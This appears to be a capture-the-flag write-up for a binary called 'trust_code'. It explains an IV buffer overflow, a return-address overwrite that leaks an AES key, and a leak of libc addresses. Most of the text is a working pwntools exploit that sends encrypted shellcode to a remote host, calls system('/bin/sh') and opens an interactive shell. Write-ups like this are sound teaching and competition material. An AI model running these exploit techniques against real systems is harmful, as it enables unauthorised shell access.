(Written by Reinose. I just uploaded this)
First of all, the given program has a vulnerability while getting iv for AES-CBC-128.
The size of iv buffer is 16 bytes but a user can send max 32 bytes into the buffer.
Since it overwrites saved return address, the overwrite affects the process of exception handling.
We fuzzed the partial overwrite of return address and found that changing it into somewhere in the run
function leaks the private key (e.g. 0x165a
).
By doing so, we got the secret key v0nVadznhxnv$nph
.
We can execute any shellcode without \x0f
and \x05
.
Since my libc is same as server's, we just need to leak libc address from stack.
After that, we jump into system
with $rdi := (address of /bin/sh)
.
#!/usr/bin/env python3
from pwn import *
import subprocess
local = 0
BIN = "./trust_code"
IP, PORT = "35.190.227.47", 10009
context(terminal=["tmux", "split", "-h"], log_level="debug", aslr=False)
e = ELF(BIN)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
def one_gadget(filename):
return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
"""
while True:
context.log_level = 'error'
p = remote(IP, PORT)
p.sendafter(b"iv> ", b"B"*0x18 + p16(22106))
p.sendlineafter(b"code> ", b"A")
data = p.recvall()
if data.count(b"Executed") > 1:
data = data.split(b"Executed =\n")[2][0x10:0x20]
print(data)
print(data.hex())
break
p.close()
"""
if local:
p = process(BIN.split(), env={"LD_PRELOAD":""})
else:
p = remote(IP, PORT)
from Crypto.Cipher import AES
aes = AES.new(b"v0nVadznhxnv$nph", AES.MODE_CBC, b'\0'*0x10)
context(arch='amd64')
auth = b"TRUST_CODE_ONLY!"
code = """
mov [rsp+0x58], rbx
mov rax, [rsp+0x140]
mov [rsp+0x60], rax
"""
payload = auth + asm(code).ljust(0x20, b'\xc3')
p.sendafter(b"iv> ", b"\0"*0x10)
p.sendafter(b"code> ", aes.encrypt(payload))
p.sendafter(b"done?> ", b"n")
p.recvuntil(b"=\n")
e.address = u64(p.recvn(8)) - 0x0000000000002BE0
libc.address = u64(p.recvn(8)) - libc.libc_start_main_return
code = f"""
mov rax, {libc.sym['system']}
mov rdi, {next(libc.search(b'/bin/sh'))}
jmp rax
"""
payload = auth + asm(code).ljust(0x20, b'\xc3')
p.sendafter(b"code> ", aes.encrypt(payload))
context(log_level="info")
p.interactive()